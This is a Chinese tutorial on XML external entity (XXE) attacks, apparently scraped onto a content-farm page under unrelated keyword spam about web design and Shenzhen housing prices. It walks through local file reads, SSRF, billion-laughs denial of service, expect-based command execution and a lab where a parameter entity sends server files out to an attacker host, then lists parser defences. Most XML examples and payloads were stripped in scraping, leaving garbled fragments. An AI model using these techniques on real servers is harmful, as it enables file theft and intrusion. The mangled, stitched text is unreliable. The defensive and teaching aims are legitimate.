大连做网站哪家便宜深圳市龙华区房价
news/
2025/9/26 11:18:45/
文章来源:
大连做网站哪家便宜,深圳市龙华区房价,东莞华商网络科技有限公司,wordpress apple pro作者#xff1a;激越王预估稿费#xff1a;400RMB投稿方式#xff1a;发送邮件至linwei#360.cn#xff0c;或登陆网页版在线投稿你是否听说过xml注入攻击呢#xff0c;或者对它只知其一不知其二呢#xff1f;现在让我们从xml相关基础知识开始#xff0c;一步步了解xml攻…作者激越王预估稿费400RMB投稿方式发送邮件至linwei#360.cn或登陆网页版在线投稿你是否听说过xml注入攻击呢或者对它只知其一不知其二呢现在让我们从xml相关基础知识开始一步步了解xml攻击的原理和方式。这篇文章主要针对扫盲请大佬们轻喷有错误的地方欢迎指出。XML 被设计为传输和存储数据其焦点是数据的内容。HTML 被设计用来显示数据其焦点是数据的外观。XML 把数据从 HTML 分离。XML 是独立于软件和硬件的信息传输工具。Everyday Italian Giada De Laurentiis 2005 30.00 XML 中一些字符拥有特殊的意义。为了避免这个错误请用实体引用来代替特殊字符附表一附表一注释在 XML 中只有字符 合法的 XML 文档是“形式良好”的 XML 文档同样遵守文档类型定义 (DTD) 的语法规则。DTD介绍文档类型定义(DTD)可定义合法的XML文档构建模块。它使用一系列合法的元素来定义文档的结构。DTD 可被成行地声明于 XML 文档中也可作为一个外部引用。带有 DTD 的 XML 文档实例note []DaveTom实例源码当DTD 位于 XML 源文件的外部通过下面的语法被封装在一个 DOCTYPE 定义中root-element SYSTEM filename外部DTD实例note SYSTEM note.dtdDaveTomRemindernote.dtd 文件实例源码dtd文件PCDATA 的意思是被解析的字符数据(parsed character data)。PCDATA 是会被解析器解析的文本。这些文本将被解析器检查实体以及标记。文本中的标签会被当作标记来处理而实体会被展开。不过被解析的字符数据不应当包含任何 、 或者 字符需要使用 、 以及 实体来分别替换它们。CDATA 的意思是字符数据(character data)。CDATA 是不会被解析器解析的文本。在这些文本中的标签不会被当作标记来对待其中的实体也不会被展开。DTD元素备注由于仅仅是扩展所以仅展示一些常用的元素语法DTD – 属性属性声明使用下列语法DTD 实例:XML 实例:以下是属性类型的选项默认值参数可使用下列值DTD – 实体(重要)实体是用于定义引用普通文本或特殊字符的快捷方式的变量。实体引用是对实体的引用。实体可在内部或外部进行声明。Schema 介绍(XSD)XML Schema 是基于 XML 的 DTD 替代者。XML Schema 描述 XML 文档的结构。XML Schema 语言也可作为 XSD(XML Schema Definition)来引用攻击套路一般技巧1.引用外部实体远程文件读取2.URL请求(可借此发起ssrf)3.参数实体4.通过 XInclude 包含外部资源5.DoS1. 外部实体引用通过外部实体引用可以获取远程文件内容本地实验test.txt 文件中的内容就是 123123admin但是有个问题如果文件内容格式太过复杂就会导致 xml 解析失败(比如内容里含有 空格、一些特殊字符 ; 之类的文件)这个其实有绕过方法的如上文所述可以利用 参数实体具体的内容后面介绍还有一个我们知道的方法就是使用 php 伪协议php://filter 读取文件内容( 文件内容经过 base64 过滤器就是全字符的没有格式干扰)2. URL 请求(ssrf)直接使用外部实体引用就可以发起一个请求原因是很多 xml 解析器读取到引用外部文件的模块时就会强制性发出请求本地实验:首先在 172.16.169.153 监听 1231 端口在 172.16.169.142 利用 xml 发出请求(将 xml 放入浏览器即可)如上图浏览器一直处于加载内容状态这是因为 153 的机器上没有返回信息…172.16.169.153 的 1231 端口状态这个 ssrf 可以值得注意一下因为对 xml 的攻击中大都是使用 外部实体引用那么如果直接加载 xml 的时候禁止外部实体引用呢这种情况下大多数攻击都会失效但是 ssrf 不会别忘了请求外部资源还有一种方式直接使用 DOCTYPE3. DoS任何能大量占用服务器资源的方法都可以造成 DoS这个的原理就是递归引用lol 实体具体还有 lol 字符串然后一个 lol2 实体引用了 10 次 lol 实体一个 lol3 实体引用了 10 次 lol2 实体此时一个 lol3 实体就含有 10^2 个 lol 了以此类推lol9 实体含有 10^8 个 lol 字符串…那么引用 lol9boom…4. 参数实体参数实体之前在远程文件读取的介绍中可以绕过文件内容复杂导致解析失败的限制参数实体以%开头 我们使用参数实体只需要遵循两条原则1.参数实体只能在DTD声明中使用。 2.参数实体中不能再引用参数实体。如图/etc/fstab 是一个内容复杂的文件如果直接利用 SYSTEM 请求远程文件会解析出错的也就是读不到文件内容。那么就可以使用参数实体进行绕过 xml 严格的语法规则其实流程很简单start 参数实体的内容 goodies 参数实体的内容 file:///etc/fastab (使用 file 协议读取文件)end 参数实体的内容]]然后接着定义了一个 dtd 参数实体使用 SYSTEM 发出获取 combine.dtd 的内容并且在 DTD 内部引用了 dtd 参数实体那么这个时候源文件中的 DTD 应该是这样最后再由源文件中引用 all 普通实体引发文件读取其中这个 CDATA 的意思是为 文件内容添加属性不被解析的普通字符这样参数实体的引用就不需要在xml文档解析的时候保持xml闭合,xml 解释器就会直接忽略文件内容的语法规则达到了绕过的目的攻击方iphttp://192.168.229.130/eval.dtd1.php服务器IPhttp://192.168.229.128/2.php在攻击方的WEB目录上有一个叫做eval.dtd文件用于攻击然后在服务器上传2.php执行2.php报错没关系。下面看一下代码1.php:简单的接受get参数传的内容然后保存在1.txt下EVAL.DTD文件的内容为这里注意使用参数实体时在引用实体的格式中需要编码用%代替 %由于嵌套引用外部参数实体如果直接利用%在引用的时候会导致找不到该参数实体名称作用为将接受到外部file实体应用到1.php?file的%file上这样在服务器上传来的内容就会传到file参数上然后保存到1.txt上在2.PHP文件中第一个ENTITY用于读取服务器本地文件test.txt第二个用于引用远程dtd文件然后在实体利用上需要注意顺序先执行名为dtd实体引用攻击方eval.dtd的代码获得了实体send的执行方式http://192.168.229.130/1.php?file%file;然后将file实体获得的内容引用到192.168.229.130/1.php?file至此攻击完成攻击方服务器以保存了1.txt这里提一下前面说过的在读取文件的时候当存在空格尖括号的时候这种直接读取内容的方式会报错显示无效url抓包时抓不到在浏览器上访问http://192.168.229.130/1.php?fileblessing software的包结合之前的的协议应用可以使用常用的php://filter读取base64编码如下解码即可。只是选了几个协议作为例子这里的协议都能使用。这里附加几个关于xxe漏洞的英文文档和实例5. 通过 Xinclude 包含外部资源基于XInclude的文件包含,使用的另一套 xml 语法约束XML schemaXInclude提供了一种较为方便的取回数据的思路(再也不用担心数据不完整而导致parser抛出一个错误)而我们能够通过parse属性强制引用文件的类型。不过Xinclude需要手动开启测试发现所有xml parser都默认关闭这一特性。PHP 和 JAVA 环境php 支持的扩展协议JavaXerces默认的Oracles Java Runtime Environment下的XML parser是Xerces一个apache的项目。而Xerces和Java提供了一系列的特性这些特性又能导致一些严重的安全问题。上述的那些攻击手法(DOCTYPEs for SSRF,文件读取,参数实体的外带数据)在java的默认配置下能够运用自如,java/Xerces也支持XInclude 但是需要setXIncludeAware(true) 和setNamespaceAware(true)。phpexpect的RCE很遗憾这个扩展并不是默认安装的然而安装了这个扩展的XXE漏洞是能够执行任意命令。root[]cmd;还有 python、.net 环境等防御1 直接使用开发语言提供的禁用外部实体的方法这样其实没法防御 xml 制造的 ssrfPHPlibxml_disable_entity_loader(true);JAVA:DocumentBuilderFactory dbf DocumentBuilderFactory.newInstance();dbf.setExpandEntityReferences(false);Pythonfrom lxml import etreexmlData etree.parse(xmlSource,etree.XMLParser(resolve_entitiesFalse))2 过滤用户提交的 xml 数据敏感关键词 总结XML 攻击大都是由解析器发出外部资源请求而造成的还有结合一些协议的特性可以轻松绕过 xml 格式要求。其中主要的关键字 DOCTYPE(DTD的声明)ENTITY(实体的声明) SYSTEM、PUBLIC(外部资源申请)。由与 普通实体 和 参数实体 的灵活引用从而引发各种套路资料来源
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/918170.shtml
如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!